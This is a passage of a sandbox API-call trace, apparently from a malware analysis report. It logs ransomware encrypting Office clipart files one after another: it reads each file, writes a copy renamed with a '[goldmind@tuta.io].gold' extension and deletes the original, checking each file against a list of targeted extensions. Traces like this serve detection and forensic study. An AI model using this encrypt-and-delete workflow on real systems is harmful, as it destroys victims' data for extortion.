lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x4f4, lpOverlapped=0x0) returned 1 [0109.882] WriteFile (in: hFile=0x398, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x500, lpOverlapped=0x0) returned 1 [0109.883] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.883] WriteFile (in: hFile=0x398, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.883] SetEndOfFile (hFile=0x398) returned 1 [0109.883] CloseHandle (hObject=0x398) returned 1 [0109.883] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.884] SetEndOfFile (hFile=0x3a8) returned 1 [0109.885] CloseHandle (hObject=0x3a8) returned 1 [0109.885] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf")) returned 1 [0109.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0109.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0109.934] lstrlenW (lpString=".doc") returned 4 [0109.934] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.934] lstrlenW (lpString=".docx") returned 5 [0109.934] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0109.934] lstrlenW (lpString=".pdf") returned 4 [0109.934] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.935] lstrlenW (lpString=".xls") returned 4 [0109.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.935] lstrlenW (lpString=".xlsx") returned 5 [0109.935] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0109.935] lstrlenW (lpString=".ppt") returned 4 [0109.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0109.935] lstrlenW (lpString=".zip") returned 4 [0109.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.935] lstrlenW (lpString=".rar") returned 4 [0109.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.935] lstrlenW (lpString=".bz2") returned 4 [0109.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.935] lstrlenW (lpString=".7z") returned 3 [0109.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0109.935] lstrlenW (lpString=".dbf") returned 4 [0109.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0109.935] lstrlenW (lpString=".1cd") returned 4 [0109.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0109.935] lstrlenW (lpString=".jpg") returned 4 [0109.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0109.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0109.935] lstrlenW (lpString=".doc") returned 4 [0109.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.935] lstrlenW (lpString=".docx") returned 5 [0109.935] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0109.935] lstrlenW (lpString=".pdf") returned 4 [0109.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.935] lstrlenW (lpString=".xls") returned 4 [0109.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.935] lstrlenW (lpString=".xlsx") returned 5 [0109.935] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0109.935] lstrlenW (lpString=".ppt") returned 4 [0109.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0109.935] lstrlenW (lpString=".zip") returned 4 [0109.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.935] lstrlenW (lpString=".rar") returned 4 [0109.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.935] lstrlenW (lpString=".bz2") returned 4 [0109.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.935] lstrlenW (lpString=".7z") returned 3 [0109.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0109.935] lstrlenW (lpString=".dbf") returned 4 [0109.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0109.935] lstrlenW (lpString=".1cd") returned 4 [0109.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0109.935] lstrlenW (lpString=".jpg") returned 4 [0109.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.936] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.936] lstrlenW (lpString="J0152702.WMF") returned 12 [0109.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0109.947] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=1208) returned 1 [0109.947] CloseHandle (hObject=0x380) returned 1 [0109.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf")) returned 0x20 [0110.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0110.082] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.082] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0110.083] GetLastError () returned 0x0 [0110.083] ReadFile (in: hFile=0x380, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x4b8, lpOverlapped=0x0) returned 1 [0110.102] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x4c0, lpOverlapped=0x0) returned 1 [0110.103] ReadFile (in: hFile=0x380, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.103] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0110.103] SetEndOfFile (hFile=0x3a8) returned 1 [0110.103] CloseHandle (hObject=0x3a8) returned 1 [0110.104] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.104] SetEndOfFile (hFile=0x380) returned 1 [0110.105] CloseHandle (hObject=0x380) returned 1 [0110.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.106] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf")) returned 1 [0110.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0110.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0110.107] lstrlenW (lpString=".doc") returned 4 [0110.107] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.107] lstrlenW (lpString=".docx") returned 5 [0110.107] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0110.107] lstrlenW (lpString=".pdf") returned 4 [0110.107] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.107] lstrlenW (lpString=".xls") returned 4 [0110.107] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.107] lstrlenW (lpString=".xlsx") returned 5 [0110.107] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0110.107] lstrlenW (lpString=".ppt") returned 4 [0110.107] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0110.107] lstrlenW (lpString=".zip") returned 4 [0110.107] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.107] lstrlenW (lpString=".rar") returned 4 [0110.107] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.107] lstrlenW (lpString=".bz2") returned 4 [0110.107] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.107] lstrlenW (lpString=".7z") returned 3 [0110.107] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0110.107] lstrlenW (lpString=".dbf") returned 4 [0110.107] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0110.107] lstrlenW (lpString=".1cd") returned 4 [0110.107] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0110.107] lstrlenW (lpString=".jpg") returned 4 [0110.107] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0110.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0110.107] lstrlenW (lpString=".doc") returned 4 [0110.107] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.107] lstrlenW (lpString=".docx") returned 5 [0110.107] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0110.107] lstrlenW (lpString=".pdf") returned 4 [0110.107] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.107] lstrlenW (lpString=".xls") returned 4 [0110.107] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.107] lstrlenW (lpString=".xlsx") returned 5 [0110.107] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0110.107] lstrlenW (lpString=".ppt") returned 4 [0110.107] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0110.107] lstrlenW (lpString=".zip") returned 4 [0110.107] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.107] lstrlenW (lpString=".rar") returned 4 [0110.107] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.107] lstrlenW (lpString=".bz2") returned 4 [0110.107] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.107] lstrlenW (lpString=".7z") returned 3 [0110.108] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0110.108] lstrlenW (lpString=".dbf") returned 4 [0110.108] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0110.108] lstrlenW (lpString=".1cd") returned 4 [0110.108] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0110.108] lstrlenW (lpString=".jpg") returned 4 [0110.108] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.108] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0110.108] lstrlenW (lpString="J0152878.WMF") returned 12 [0110.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0110.108] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=14888) returned 1 [0110.108] CloseHandle (hObject=0x380) returned 1 [0110.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf")) returned 0x20 [0110.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0110.109] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.109] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0110.110] GetLastError () returned 0x0 [0110.110] ReadFile (in: hFile=0x380, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x3a28, lpOverlapped=0x0) returned 1 [0110.126] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x3a30, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x3a30, lpOverlapped=0x0) returned 1 [0110.127] ReadFile (in: hFile=0x380, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.127] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0110.127] SetEndOfFile (hFile=0x3a8) returned 1 [0110.127] CloseHandle (hObject=0x3a8) returned 1 [0110.127] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.127] SetEndOfFile (hFile=0x380) returned 1 [0110.129] CloseHandle (hObject=0x380) returned 1 [0110.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.166] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf")) returned 1 [0110.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0110.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0110.167] lstrlenW (lpString=".doc") returned 4 [0110.167] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.167] lstrlenW (lpString=".docx") returned 5 [0110.167] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0110.167] lstrlenW (lpString=".pdf") returned 4 [0110.167] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.167] lstrlenW (lpString=".xls") returned 4 [0110.167] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.167] lstrlenW (lpString=".xlsx") returned 5 [0110.167] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0110.167] lstrlenW (lpString=".ppt") returned 4 [0110.167] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0110.167] lstrlenW (lpString=".zip") returned 4 [0110.167] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.167] lstrlenW (lpString=".rar") returned 4 [0110.167] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.167] lstrlenW (lpString=".bz2") returned 4 [0110.167] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.167] lstrlenW (lpString=".7z") returned 3 [0110.167] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0110.167] lstrlenW (lpString=".dbf") returned 4 [0110.167] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0110.167] lstrlenW (lpString=".1cd") returned 4 [0110.167] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0110.167] lstrlenW (lpString=".jpg") returned 4 [0110.167] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0110.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0110.168] lstrlenW (lpString=".doc") returned 4 [0110.168] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.168] lstrlenW (lpString=".docx") returned 5 [0110.168] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0110.168] lstrlenW (lpString=".pdf") returned 4 [0110.168] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.168] lstrlenW (lpString=".xls") returned 4 [0110.168] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.168] lstrlenW (lpString=".xlsx") returned 5 [0110.168] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0110.168] lstrlenW (lpString=".ppt") returned 4 [0110.168] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0110.168] lstrlenW (lpString=".zip") returned 4 [0110.168] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.168] lstrlenW (lpString=".rar") returned 4 [0110.168] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.168] lstrlenW (lpString=".bz2") returned 4 [0110.168] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.168] lstrlenW (lpString=".7z") returned 3 [0110.168] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0110.168] lstrlenW (lpString=".dbf") returned 4 [0110.168] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0110.168] lstrlenW (lpString=".1cd") returned 4 [0110.168] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0110.168] lstrlenW (lpString=".jpg") returned 4 [0110.168] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.168] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0110.168] lstrlenW (lpString="J0152884.WMF") returned 12 [0110.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0110.169] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=6956) returned 1 [0110.169] CloseHandle (hObject=0x198) returned 1 [0110.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf")) returned 0x20 [0110.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0110.169] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.169] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0110.170] GetLastError () returned 0x0 [0110.170] ReadFile (in: hFile=0x198, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x1b2c, lpOverlapped=0x0) returned 1 [0110.195] WriteFile (in: hFile=0x180, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x1b30, lpOverlapped=0x0) returned 1 [0110.195] ReadFile (in: hFile=0x198, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.196] WriteFile (in: hFile=0x180, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, 